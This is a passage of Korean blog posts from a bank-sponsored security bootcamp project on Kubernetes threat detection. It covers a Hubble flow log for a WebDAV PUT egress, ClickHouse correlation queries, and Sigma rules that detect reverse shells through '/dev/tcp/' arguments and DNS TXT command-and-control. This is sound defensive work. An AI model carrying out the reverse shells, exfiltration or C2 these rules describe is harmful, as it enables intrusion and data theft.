      &quot;url&quot;: &quot;http://172.30.160.1/test_data.txt&quot;
    }
  },
  &quot;uuid&quot;: &quot;6c48c5cb-33f0-428d-93d7-a11f24522245&quot;,
  &quot;traffic_direction&quot;: &quot;EGRESS&quot;,
  &quot;is_reply&quot;: false,
  &quot;Type&quot;: &quot;L7&quot;,
  &quot;node_labels&quot;: [
    &quot;beta.kubernetes.io/arch=amd64&quot;,
    &quot;beta.kubernetes.io/os=linux&quot;,
    &quot;kubernetes.io/arch=amd64&quot;,
    &quot;kubernetes.io/hostname=k8s-worker&quot;,
    &quot;kubernetes.io/os=linux&quot;
  ],
  &quot;event_type&quot;: {
    &quot;type&quot;: 129
  },
  &quot;verdict&quot;: &quot;FORWARDED&quot;,
  &quot;Summary&quot;: &quot;HTTP/1.1 PUT http://172.30.160.1/test_data.txt&quot;,
  &quot;time&quot;: &quot;2026-01-22T09:19:37.330365291Z&quot;
},
&quot;cilium_endpoint_id&quot;: 3735
}</code></pre>
</li>
</ul>
<p>flow.l7.http.headers.value가 WebDav를 가지고 있어야 하며 event.l7.http_method가 PUT이어야 하는데 event.network.dest_ip가 </p>
<ul>
<li>10.0.0.0/8</li>
<li>127.0.0.0/8</li>
<li>172.16.0.0/12</li>
<li>192.168.0.0/16</li>
<li>169.254.0.0/16</li>
</ul>
<p>아닐 경우 탐지하도록 설계되었으며 이를 다 충족하여 위의 공격이 탐지가 되었습니다.</p>
<hr>
<h2 id="click-house">Click House</h2>
<p>초기 프로젝트 기획 단계에서 로그 수집 및 시각화를 위해 OpenSearch를 검토하였으나, 해당 플랫폼이 제공하는 기능만으로는 프로젝트가 목표로 하는 심층적인 위협 분석을 수행하기에 한계가 있음을 확인하였습니다. <strong>OpenSearch</strong>는 기본적인 검색과 시각화 기능을 충실히 제공하지만, 커스텀 필드를 활용한 복잡한 연산이나 다차원적인 데이터 가공 측면에서는 유연성이 부족하였습니다. 
이에 따라 대용량 로그 데이터를 SQL 쿼리를 통해 자유롭게 가공할 수 있는 <strong>ClickHouse</strong>를 도입하여 분석 프레임워크를 재설계하였습니다. <strong>ClickHouse</strong>는 <strong>Toss</strong>, <strong>Kakao</strong> 등 대규모 트래픽을 처리하는 현업 환경에서도 검증된 <strong>컬럼 기반 DBMS</strong>로서, Tetragon과 Hubble에서 발생하는 방대한 보안 로그를 효율적으로 처리하고 우리가 의도한 시나리오대로 데이터를 정제하는 데 최적의 성능을 보였습니다.</p>
<h3 id="sql-기반-정밀-로그-분석-및-프로세스-계보-시각화">SQL 기반 정밀 로그 분석 및 프로세스 계보 시각화</h3>
<p><strong>ClickHouse</strong> 구축 후 가장 먼저 수행한 작업은 <strong>Pod</strong>별 상세 프로세스 실행 이력과 네트워크 행위를 결합하는 것이었습니다. 단순한 키워드 검색을 넘어, <strong>SQL의 조건절</strong>을 활용하여 특정 파드 내에서 /bin/sh가 실행되거나 내부망 IP로의 비정상적인 접근 시도를 필터링하는 쿼리를 작성하였습니다. 아래 이미지 웹 서비스 파드에서 발생한 쉘 실행 이력을 시간순으로 정렬하여 추출한 결과입니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/97befd93-bc7a-417d-b60f-b273ead4dd20/image.png" alt=""></p>
<p>또한, 단일 로그의 나열이 아닌 프로세스의 부모-자식 관계(Parent-Child Relationship)를 추적하여 공격의 전체 흐름을 시각화하는 로직을 구현하였습니다. 공격자가 최초 쉘을 획득한 시점부터 <code>nsenter</code>를 통해 컨테이너 네임스페이스에 진입하고, 이후 파이썬 스크립트를 이용해 DB 무차별 대입(Brute Force) 공격을 수행하거나 <code>curl</code> 명령어로 데이터를 유출하는 일련의 과정을 하나의 쿼리 결과로 도출하였습니다. 이를 통해 개별 로그로는 파악하기 힘든 공격의 인과관계를 명확히 식별할 수 있게 되었습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6e30deb4-440a-467d-8958-53f690f62157/image.png" alt=""></p>
<h3 id="web-hook을-이용한-자동화-된-위협-분석-파이프라인-구축">Web hook을 이용한 자동화 된 위협 분석 파이프라인 구축</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/bbf26943-2149-43c7-b925-871392cf987b/image.png" alt=""></p>
<p>최종적으로 분석 시스템을 실시간 대응 체계로 확장하기 위해 <strong>Detector의 Alert</strong> 기능과 연동된 자동화 파이프라인을 구축하였습니다. 시스템은 <strong>Sigma Rule</strong>에 정의된 위협 시그니처가 탐지될 경우 <strong>Webhook</strong>을 통해 알림을 전송하며, 이를 수신한 Python 자동화 스크립트가 즉시 트리거되도록 설계되었습니다.
스크립트 실행 시, 앞서 구현한 <strong>ClickHouse</strong> 쿼리가 자동으로 수행되어 해당 위협과 관련된 프로세스 리니지 및 네트워크 통계 정보를 포함한 &#39;보안 컨텍스트 리포트(Security Context Report)&#39;를 생성합니다. 이를 통해 보안 담당자는 별도의 수동 분석 과정 없이도 공격의 전모를 신속하게 파악하고 대응할 수 있습니다.</p>
<h3 id="fluentdclickhouse-연동-및-실시간-탐지-파이프라인-구성">Fluentd–ClickHouse 연동 및 실시간 탐지 파이프라인 구성</h3>
<p>기존 OpenSearch 단일 구조에서는 로그 적재, 탐지, 분석을 동시에 수행하면서 메모리 사용량이 급증하는 문제가 발생했습니다. 이를 분산하기 위해 고속 분석 및 상관분석 전용 엔진으로 ClickHouse를 별도의 EC2 인스턴스로 구성하였습니다. Fluentd의 ConfigMap 및 DaemonSet 설정을 수정하여, 수집된 로그를 OpenSearch와 ClickHouse로 동시에 전송하는 파이프라인을 구성하였으며, ClickHouse에 로그가 실시간으로 적재되도록 하였습니다.</p>
<p>또한 <strong>OpenSearch Security Analytics Detector</strong>에서 Alert가 발생할 경우, 해당 이벤트가 Webhook을 통해 프라이빗 IP 기반으로 <strong>ClickHouse</strong>에 즉시 전달되도록 연동을 구성하였습니다. 이를 통해 <strong>OpenSearch</strong>의 탐지 결과가 <strong>ClickHouse</strong>에서도 실시간으로 반영되어, 후속 분석 및 상관 탐지가 가능하도록 탐지 파이프라인을 확장했습니다.</p>
<h3 id="clickhouse-기반-상관-분석-프레임워크-설계-및-진행-계획">ClickHouse 기반 상관 분석 프레임워크 설계 및 진행 계획</h3>
<p>앞선 단계에서 로그 수집 및 탐지 파이프라인을 분리·구성함에 따라, 단순 이벤트 탐지를 넘어 공격 행위를 단계적으로 재구성할 수 있는 상관분석 체계의 필요성을 확인하였습니다. 특히 사전에 공격 시나리오를 알고 이를 검증하는 방식이 아니라, 공격 여부를 알 수 없는 상황에서 단서를 기반으로 분석을 확장해 나가는 <strong>포렌식 관점의 접근</strong> 방식이 중요하다고 판단했습니다.</p>
<p>이를 위해 <strong>ClickHouse</strong>에 적재된 <strong>Tetragon(프로세스 및 행위 로그)</strong>과 <strong>Hubble(네트워크 플로우 로그)</strong>를 활용하여, 행위 기반 상관분석 쿼리를 사전에 목록화하고 플레이북 형태로 정리할 예정입니다. 해당 상관분석은 특정 공격 시나리오에 종속된 시그니처 방식이 아니라, 실행 빈도 이상, 비정상적인 프로세스 실행 패턴, 신규 네트워크 목적지, 반복적 또는 자동화된 행위 등과 같은 일반화된 단서(seed) 를 기준으로 분석이 확장되도록 설계합니다.</p>
<p><strong>상관분석의 시작점(seed)</strong>은 완전히 무작위로 설정하지 않고, 실제 사고 대응 상황에서 일반적으로 확보 가능한 <strong>제한적인 시간 범위(incident time window)</strong> 를 기준으로 설정할 예정입니다. 이후 baseline 대비 이상 행위를 보이는 프로세스 실행 또는 네트워크 흐름을 초기 단서로 삼아, 동일 Pod 또는 동일 부모 프로세스에서 파생된 행위들을 단계적으로 추적하는 방식으로 분석을 수행합니다.</p>
<p>구체적으로는 다음과 같은 흐름으로 상관분석을 수행할 예정입니다.</p>
<p>먼저 <strong>ClickHouse</strong> 내 <strong>Tetragon</strong> 로그를 대상으로 baseline에 존재하지 않거나 비정상적으로 빈도가 높은 실행 바이너리를 탐색하여 초기 seed를 도출합니다. 이후 해당 seed를 기준으로 프로세스 트리 확장 및 동일 Pod 내 시간 흐름 분석을 수행하여 공격 행위의 전후 맥락을 재구성합니다. 이어서 Hubble 로그를 활용해 동일 시간대에 발생한 네트워크 통신을 상관 분석함으로써, 내부 정찰, Lateral Movement, 외부 통신 여부 등을 단계적으로 확인합니다.</p>
<p>이와 같은 상관분석 과정은 단일 쿼리로 공격을 단정하는 방식이 아니라, 단서 도출 → 가설 수립 → 검증의 반복 구조로 구성됩니다. 각 단계에서 도출된 분석 결과를 바탕으로 다음 상관분석 쿼리를 선택적으로 적용하는 방식으로 진행하며, 이를 통해 공격 시나리오를 사전에 가정하지 않더라도 실제 환경에서 수집된 로그만을 기반으로 공격 흐름을 재구성할 수 있는 분석 프레임워크를 구현하고자 합니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 18]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-18</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-18</guid>
            <pubDate>Tue, 20 Jan 2026 15:24:54 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이번주는 우리 프로젝트의 탐지 고도화 확보를 위해 Open Search에서 제공하는 SIEM 솔루션인 Security Analysis를 활용하여 Rule Based Detection 설계와 Correlation Engine 동작을 위한 로그 정규화 같은 작업이 진행됐다.
목요일에는 개발 직종에서 종사하시는 현업자분의 취업특강, 금요일에는 오전에 토스뱅크 특강, 오후에는 취업지원센터 교육이 잡혀 있었고 금요일 교육 종료 2시간 전부터 강사님과 프로젝트 중간점검을 하는 시간을 가졌다.
프로젝트가 한창인 와중 특강 일정이 있어 조금 부담스러웠던건 사실이지만 유익한 시간이었던거 같다. 18주차에 특강 일정이 잡혀 있었기에 월~수 동안 많은걸 끝내놔야 한다는 생각에 평소보다 더 부지런하게 움직여야겠다는 생각에 더 속도감 있게 프로젝트를 수행을 하는데 화요일이었나 사고가 있었다. 이 이야기는 밑에서 풀어보도록 하겠다.</p>
<blockquote>
<h3 id="프로젝트-진행-내용이-궁금하다면">프로젝트 진행 내용이 궁금하다면?</h3>
<p><a href="https://velog.io/@_sychoii/series/Toss-Team-ForenSeek">프로젝트 수행일지 보기</a>
프로젝트 수행일지 시리즈 링크입니다. 자세한 내용은 위 링크에서 확인 해주시고, 질문 있다면 댓글 달아주세요!</p>
</blockquote>
<hr>
<h2 id="knowledge-based-detection지식-기반-탐지의-신뢰성-확보">Knowledge Based Detection(지식 기반 탐지)의 신뢰성 확보</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/86ed1b1e-e815-400a-91af-3a298e3ff367/image.png" alt=""></p>
<p>우리 프로젝트에서 <strong>&quot;탐지&quot;</strong>는 핵심이다. <strong>Tetragon의 프로세스 계보 추적 기능</strong>을 통해 악성 행위를 커널 레벨에서 탐지하는 <strong>Behavior Based Detection(행위 기반 탐지)</strong>, 평소와 다른 트래픽의 흐름을 탐지하는 <strong>Anomaly Detection(이상 행위 탐지)</strong>, 그리고 사전에 정의 된 규칙에 의해 공격 행위를 탐지하는 <strong>Knowledge Based Detection(지식 기반 탐지)</strong> 이 세 가지가 서로 독립적으로 동작하지만 상호 보완적으로 탐지 결과를 분석한다.
행위 기반 탐지는 이전 TIL에서도 여러 번 언급했듯이 Hubble의 가시성 정책과 Tetragon 정책을 통해 고도화를 시키고, 이상 행위 탐지는 Open Search의 Anomaly Detection을 통해 정상 트래픽을 학습 시켜 동작한다. 근데 지식 기반 탐지는? 우선 <strong>지식 기반 탐지</strong>는 미리 정의된 알려진 <strong>공격 패턴(시그니처) 또는 규칙 데이터베이스</strong>와 네트워크, 시스템 활동을 비교하여 일치하는 경우를 침입으로 간주하고 탐지하는 방식이다.</p>
<p>기본적으로 100% 완벽한 수치는 존재할 수 없기에 한 가지 방식으로 탐지를 하기 보다 탐지 레이어를 쌓아 다중 탐지 프레임워크를 설계했다. 따라서 설계한 프레임워크에 각 컴포넌트는 서로서로 Hole을 메꾸어 주기 때문에 각각의 탐지 방식이 신뢰성을 가져야 한다.
Tetragon을 이용한 행위 기반 탐지와 이상 행위 탐지는 탐지 정책 설계와 정상 트래픽 학습으로 동작하지만 지식 기반 탐지는 사전에 정의 된 규칙 기반으로 동작을 하는 것이기 때문에 규칙에 대한 신뢰성이 절대적으로 필요했다. 그래서 SIEM 관련 된 내용을 찾아보던 중 Sigma Rule에 대해 알게 되었고 표준으로 사용된다는 사실에 우리 프로젝트에 녹이면 좋겠다라는 생각과 동시에 설계에 돌입했다.</p>
<hr>
<h2 id="프로젝트-도중-실전-맛보기">프로젝트 도중 실전 맛보기</h2>
<p>기존에 Open Search 검색 엔진과 대시보드를 로컬 환경에 올려서 활용하다가 시스템 부하 때문에 프로젝트 수행 환경이 멈추는 현상이 빈번하게 발생해서 AWS Ec2에 오픈서치를 올리게 됐다. 근데.. 다음날 와서 확인 해보니 허블 로그가 5천만개가 쌓여 있고 몇 분? 안지나서 1억개가 쌓여 있던거다. 진짜 1억이라는 수치를 처음 봐서 당황스러웠다. 처음 올려놨을 때 퍼블릭으로 올려놔서 밤 사이에 공격 당했나..? 싶어서 로그를 하나씩 까보기 시작했다.</p>
<p>처음 로그를 한 두개 까봤을 때 우리가 설계 해놓은 정상 트래픽은 거르고 보는데 포트 스캔 공격과 같은 흔적들도 보이고 우리 대역이 아닌 내부망 IP가 보였다. 점점 불안해졌다. 보안한다는 사람들이 .. 진짜 공격인가..? 로그만 뜯어보다가 하루가 다 갔고 임시로 접근 제어를 빡빡하게 해놓고 집에 갔다.
근데 다음날 왔는데 또 6천만개 가량의 로그가 쏟아져 있었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f56ca5cd-366e-44d1-9666-e89421d35ee1/image.png" alt=""></p>
<p>또 로그를 뜯어보고 위 사진과 같이 그래프, 우리 프로젝트 환경 로그를 종합적으로 분석 해보니 오픈서치와 Fluentd 간 성능 차이로 발생한 이슈였다.
Fluentd가 Open Search로 로그를 보내는데 Fluentd가 보내는 속도에 맞춰 Open Search가 처리하지 못해 로그가 끊겼다가 한번에 처리되면서 로그가 폭증했던 것이다. 그래서 Open Search가 로그를 문제없이 처리 시키기 위해 서버 스펙을 올리고, Fluentd 스펙을 조정했다. 그랬더니 다행히 다음날부터는 정상적으로 로그가 균등하게 쌓이는 것을 확인할 수 있었다.
뜻밖에 찾아온 이런 이슈 덕분에(?) 우리가 프로젝트에서 분석하던 것들을 실전적으로 활용할 수 있어 나름 괜찮은 경험이었던거 같다. 1억개 찍혔을 때 스크린샷 찍어 놨어야 됐는데 수습하느라 정신 없어서 ㅋㅋㅋㅋㅋㅋ 아쉽다.. 암튼 정말 긴장감 넘치는 이틀을 보냈다.</p>
<hr>
<h2 id="성찰">성찰</h2>
<p>프로젝트를 하루하루 수행하고 집에 가는 길, 작업 끝내고 자려고 누웠을 때 요즘 부쩍 팀원들에게 나는 어떤 팀장일까라는게 궁금해졌다. 사실 내가 잘하고 있나?부터 출발해서 좋은 팀장은 무엇일까?라는 생각을 항상 했던거 같다. 특히 요즘 프로젝트 마무리 단계를 밟고 있어 그런 생각을 하는 빈도가 잦아진거 같다.</p>
<p>모두를 만족할 수 없다는건 너무나도 잘 알고 있어 어떤 순간에 악역이 필요하다면 악역이 될 미움 받을 용기 또한 지니고 있어야 한다고 생각한다. 마음이 안좋아도 싫은 소리도 할줄 알아야 하고 책임감, 결단력 등 &quot;팀장&quot;이라는 역할이 주는 부담감은 큰거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a5ac8ad7-d9b4-4e59-aecc-86a36ffc4134/image.png" alt=""></p>
<p>내 MBTI는 ENTJ 유형이다. 다들 알겠지만 사람들이 그리 선호하는 성격 유형은 아니다ㅋㅋㅋㅋㅋ 거기다 나는 T가 거의 100%에 육박하는 사람이라..ㅎ
논리적이지 않고 근거가 없는 얘기들은 받아 들일 수 없고 평상시에도 그런편이지만 특히 프로젝트 같은 일을 할 때는 더 심해진다. 어떤 이야기의 설득력과 논리가 없으면 집요하게 물어보고 파는 스타일이라 아마 이 점 때문에 우리 팀원들이 힘들지 않았을까?라는 생각이 든다.
예를 들어 어떤 작업을 할 때 기한 안에 못했다고 치자. 그럴 수 있다고 생각은 한다. 근데 왜 못했는지 어떤게 문제였는지를 명확하게 파악하고 있다는 전제가 깔린다.
나는 이런 전제가 안되어 있다면 질문을 많이 해서 주어진 테스크를 완료하게 만드는 편이다.</p>
<p>근데 이걸 팀원이 받아 들이지 못 하는 상황이 발생할 수도 있다고 생각한다. 누군가는 조금 더 포용력 있는 태도를 보일 수 있지 않느냐고 하지만 사실 그게 나한테 쉽지는 않다. 그리고 동시에 굳이?라는 생각도 든다. 전반적인 팀 운영에 책임이 있기 때문에 적어도 포용력이라는게 프로젝트에서 우선순위에 존재하진 않는거 같다.</p>
<hr>
<h2 id="취업특강">취업특강</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0d90f0e7-1781-45d5-8aee-38b56a1c2c37/image.jpg" alt=""></p>
<p>아무튼 .. 이런 생각을 하던 와중에 취업특강에서 팀장으로서 태도와 관련된 이야기가 잠깐 나왔다. 좋은 팀장, 리더는 무엇인가? 라는 질문을 받았고 나 자신에게도 질문을 던졌던거 같다. 특강 이후에 일대일 면담 시간이 주어져서 팀 내에서 발생했었던 갈등(?) 상황과 팀 운영에 대한 질문을 주로 했던거 같다.
우리 팀은 지금껏 큰 갈등 상황은 없었지만 의견 충돌, 자잘한 소음들은 당연히 존재했기에 겪었던 일들이나 대처했던 방식들을 이야기 드리면서 면담을 했다.
뭐 .. 일단 특강 해주시러 와주신 강사님 말씀으론 잘하고 있다고 해주셨는데 사실 잘 모르겠다. 일정, 테스크와 같은 업무적인 리더십은 잘 관리한다고 생각하는데 인간성?이라고 해야할까 그런 부분에 있어선 난 내 자신이 부족하다고 생각하는 편이라 ... 프로젝트가 끝나면 팀원들에게 꼭 한번 물어봐야겠다.
이런 생각이 많아지니 작년에 나의 가장 큰 터닝 포인트였던 유난한 도전을 읽었을 때가 생각났다. 과정 종료 이후 회고할 때 책을 다시 한번 읽어 봐야겠다.</p>
<p>취업특강에서는 취업을 위해 어떤 자세로 준비를 해야하는지를 주로 말씀 해주셨다. 간단히 요약하자면 기술적인 것도 중요하지만 어떤 일이 끝나고 혹은 진행중에 있을 때 &quot;회고&quot;의 중요성과 &quot;의문&quot;의 중요성을 정말 많이 강조하셨다. 그냥 흘러 가듯이 선택하는 것이 아닌 작은 선택 하나하나에도 이유가 있어야 한다는 것. 정말 공감이 많이 되는 포인트였던거 같다.</p>
<p>현재 프로젝트 할 때도 선택 하나하나의 논리적인 비약이 없도록 우리의 생각과 이유를 부여하려고 하고 있다. 이는 개인 프로젝트면 모를까 팀 프로젝트면 팀 구성원이 이에 공감을 해야 가능한 일인데 다행히 논리성 확보를 당연시하는 희수와 이를 공감해주는 다른 팀원들이 있기에 가능했지 않았을까라는 생각이 든다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/4968901b-c9e6-4734-9761-9ba52612289b/image.jpg" alt=""></p>
<p>개인적인 부분에선 <strong>오피스 투어</strong> 이후부터 나의 일주일의 감상, 반성과 같은 회고를 작성하고 있는데 본격적으로 취업 시장에 나갈 때 이런 점들이 플러스 요인으로 작용하겠다는 생각이 들었다. 다시 한번 토스뱅크에게 감사 인사 드립니다🙇‍♂️</p>
<hr>
<h2 id="프로젝트-종료-d-17">프로젝트 종료 D-17</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6d43667d-951d-491e-adac-60d64c25f0d1/image.png" alt=""></p>
<p>슬슬 프로젝트 마무리 단계에 돌입했기 때문에 중간점검이 이루어졌다. Tetragon 정책 설계부터 탐지 프레임워크 고도화 진행 상황에 대해 보고 드렸고 이제 우리조는 문서 작업을 시작하라는 피드백을 받았다. 정말 다행이었던건 우리의 방향성이 크게 휘둘리고 그런적이 없었기 때문에 처음 계획했던 대로 거의 모든게 수행된거 같다.
근데 탐지 고도화 외에 분석 부분이 약한거 같다는 내부적인 피드백이 있어서 이 부분은 고민중에 있다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>뭔가 끝나가니까 한게 얼마 없는거 같고 그런 생각이 이따금씩 든다. 프로젝트 수행만 쭉 해오느라 수행한 작업에 대해 결과 문서로 정리를 하지 않아서 그런거 같기도 하고.. 열심히 해온만큼 인정 받을만한 좋은 결과를 내고싶다. 언제였는지 기억은 잘 안나지만 1등 할거라고 했었는데 그 생각이 지금도 유효하다. 마무리만 잘하면.. 가능하지 않을까?라는 생각이 든다. </p>
<p>지금 이번주에 내가 쓴 TIL을 전체적으로 쭉 보는데 좀 내용이 중구난방인거 같다. 뭔가 이런저런 생각이 많아서 그런거 같다. 암튼 이제 정말 며칠 안남았으니까 더 힘내서 끝까지 완주할 수 있도록 노력 해보겠다. 이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 5]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-5</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-5</guid>
            <pubDate>Sun, 18 Jan 2026 06:13:20 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/6da2541c-c76d-4242-ac99-22368143f6db/image.png" alt="">
이번 5주차에서는 지난 주에 정립한 탐지 및 상관분석 프레임워크를 실제 로그 구조와 탐지 정책 수준으로 구체화하고, <strong>시스템 룰 정책·네트워크 룰 정책·로그 정규화</strong>라는 세 가지 축으로 나누어 설계 검증 및 고도화를 진행했습니다.
단순한 탐지 규칙을 추가하는 것이 아니라, <strong>각 탐지 정책이 Kubernetes 환경에서 현실적으로 적용 가능한지</strong> 그리고 <strong>이후 상관분석 단계까지 유효한 데이터를 제공할 수 있는지</strong>를 기준으로 구조를 재검토하는 데 초점을 두었습니다.</p>
<hr>
<h2 id="sigma-rule-도입-배경-및-로그-정규화">Sigma Rule 도입 배경 및 로그 정규화</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/8cf4061f-e9d1-43b4-b444-985be58bf6da/image.png" alt=""></p>
<p>쿠버네티스 환경 내 지능형 위협을 탐지하기 위해 <strong>지식 기반 탐지(Knowledge-based Detection)</strong>와 <strong>이기종 로그 간 상관 분석(Correlation Analysis)</strong> 체계 구축을 목표로 다양한 보안 분석 방안을 검토하였습니다. 그 결과, 업계 표준 탐지 규칙인 <strong>시그마 룰(Sigma Rules)</strong>을 기반으로 보안 이벤트를 식별할 수 있는 <strong>OpenSearch Security Analytics</strong>를 분석 플랫폼으로 선정했습니다.</p>
<p>시그마 룰은 알려진 공격 패턴을 구조화된 형태로 표현할 수 있어, 규칙 기반 탐지의 재사용성과 확장성이 높다는 장점이 있습니다. 그러나 커널 수준의 상세 정보를 수집하는 <strong>Tetragon(시스템 활동)</strong>과 <strong>Hubble(네트워크 활동)</strong>은 eBPF 기반 로우 로그 중심의 독자적인 데이터 구조를 가지고 있어, 시그마 룰 스키마와 직접적인 호환에는 한계가 있음을 확인했습니다.</p>
<p>이에 따라, 이기종 로그를 시그마 룰의 표준 필드 정의에 맞춰 재가공하는 <strong>로그 정규화(Normalization)</strong> 과정을 도입하였으며, 이를 통해 시스템 및 네트워크 로그를 하나의 탐지·분석 프레임워크로 통합하는 기반을 마련하고자 했습니다.</p>
<hr>
<h2 id="로그-정규화-log-nomalization">로그 정규화 (Log Nomalization)</h2>
<p>탐지 결과를 상관분석 단계로 연결하기 위한 기반 작업으로서 로그 정규화 구조 설계를 본격적으로 진행했습니다. 로그 정규화는 탐지 로직을 강화하기 위한 목적이 아니라, 서로 다른 로그를 동일한 분석 관점에서 해석할 수 있도록 만드는 기반 레이어로 정의했습니다.</p>
<h3 id="tetragon-로그-정규화">Tetragon 로그 정규화</h3>
<p>Tetragon 로그의 이벤트 유형별 구조 차이를 해소하기 위해 <strong>OpenSearch Ingest Pipeline</strong>을 활용하여 이벤트 타입과 무관하게 공통 필드(event.type, event.action)를 생성하는 <strong>정규화 파이프라인</strong>을 설계했습니다. 또한 정책에 의해 탐지된 이벤트의 경우 policy_name, function_name, args 정보를 유지하여, 탐지 여부와 실제 행위를 함께 분석할 수 있도록 구성했습니다.</p>
<h3 id="hubble-로그-정규화">Hubble 로그 정규화</h3>
<p>Hubble 로그와 Tetragon 로그 간 상관분석을 위해 기존의 <strong>timestamp·pod name</strong> 기반 매칭 방식의 한계를 인식했고, 이를 보완하기 위해 <strong>container ID</strong> 기반 상관분석 구조를 도입했습니다. Cilium에서 제공하는 내부 정보를 활용하여 Hubble 로그에서도 container ID를 추출하도록 설정함으로써, 동일 컨테이너 기준의 로그 연결이 가능하도록 개선했습니다. 다만 해당 과정에서 발생하는 latency에 대해서는 추가 분석을 진행 중입니다.</p>
<hr>
<h2 id="system-rule-정책">System Rule 정책</h2>
<p>이번 주차에는 <strong>Tetragon 로그 구조가 이후 상관분석과 탐지 고도화에 적합한 형태로 제공되고 있는지</strong>를 중심으로 점검을 진행했습니다.
<img src="https://velog.velcdn.com/images/_sychoii/post/0abdee41-b81c-4caa-8856-3d6ef72e5892/image.png" alt=""></p>
<p>분석 결과, Tetragon 로그는 <code>process_exec</code>, <code>process_kprobe</code>, <code>process_exit</code> 등 이벤트 유형별로 로그 구조가 상이하여, 동일한 행위라도 이벤트 타입에 따라 필드 접근 방식이 달라지는 문제가 있음을 확인했습니다. 이로 인해 정책 탐지 이벤트와 단순 실행 이벤트를 동일한 기준으로 분석하기 어려운 구조적 한계가 존재했습니다.</p>
<p>이에 따라 시스템 룰 정책의 방향을 <strong>정책 수를 늘리는 방식이 아닌</strong>, 정책 탐지 결과가 이후 분석 단계에서 일관되게 활용될 수 있도록 <strong>로그 구조를 전제로 한 정책 운용 방향</strong>으로 재정의했습니다. 이는 네트워크 탐지 결과와 시스템 행위를 동일 기준으로 연결하기 위한 사전 작업으로, 로그 정규화를 전제로 한 시스템 룰 정책 설계의 필요성을 명확히 했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/7fffacc9-e9cf-4d47-85e1-8be56bef360a/image.png" alt=""></p>
<blockquote>
<p><strong>왼쪽 사진은 수정 전, 오른쪽 사진은 수정 후</strong></p>
</blockquote>
<p>예를 들어 위 정책은 Reverse Shell을 탐지하는 Sigma Rule입니다. 단순히 bash와 같은 Shell 실행 여부만 보는 것이 아니라, <code>event.process.arguments</code> 필드를 통해 실제 리버스 쉘의 핵심 패턴인 <code>/dev/tcp/</code>가 포함되어 있는지 확인하는 로직을 추가했습니다.
정리하자면 <strong>Tetragon</strong>의 상세 프로세스 추적 능력을 활용하여 단순히 &quot;bash 실행&quot;을 감시하는 단계에서 벗어나 <strong>&quot;특정 위험 인자(/dev/tcp/)를 포함한 bash 실행&quot;</strong>을 직접 탐지하도록 고도화했습니다.</p>
<hr>
<h2 id="network-rule-정책">Network Rule 정책</h2>
<p>네트워크 탐지 정책은 Hubble 로그를 기반으로 하며 기존 Sigma Rule을 Kubernetes 환경에 맞게 수정·재설계하고, 실제 트래픽을 통해 동작 여부를 검증하는 데 집중했습니다.
기존 네트워크 스캔 규칙 중 일부는 <strong>차단 로그</strong>(<code>denied</code>)를 기준으로 설계되어 있어, Hubble 환경에서는 그대로 적용하기 어렵다는 한계를 확인했습니다.
이에 따라 탐지 기준을 <strong>차단 여부가 아닌 트래픽 빈도와 볼륨 중심의 정량적 조건</strong>으로 전환하고, <strong>TCP/UDP 프로토콜 특성</strong>을 고려해 규칙을 분리 설계했습니다.
단일 파드 기준 짧은 시간 내 다량의 외부 연결 시도를 수행하는 행위를 스캔으로 정의하고, <code>EGRESS</code> 트래픽과 결합하여 포트 스캔 및 IP Sweep 행위를 탐지할 수 있도록 규칙을 수정했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/46d3e01b-cd6a-4ffa-8044-bcf2b5b7d7b7/image.png" alt=""></p>
<p>예를 들어 위 정책은 DNS 기반 C2 통신 및 악성 페이로드 전달 행위를 탐지하도록 하는 Sigma Rule입니다. Kubernetes 환경에서 실시간 L7 트래픽을 관측하는 Cilium Hubble 전용 룰로 <code>record_type</code> → <code>flow.l7.dns.qtypes</code>, <code>answer</code> → <code>event.l7.dns_query</code> 필드를 수정 및 구체화 했습니다. 응답뿐만 아니라 쿼리 내 문자열까지 포함하여 탐지 범위를 확장하고 Container 환경에 맞춰 Linux/Utility 패턴을 추가했습니다.
정리하자면 Kubernetes 환경에서 DNS TXT 레코드를 이용한 리눅스 기반 리버스 쉘이나 악성 스크립트 유입을 탐지하기 위해 필드 매핑 및 탐지 패턴 확장을 진행했습니다.</p>
<h3 id="dns-기반-탐지-규칙-수정-및-l7-필드-활용">DNS 기반 탐지 규칙 수정 및 L7 필드 활용</h3>
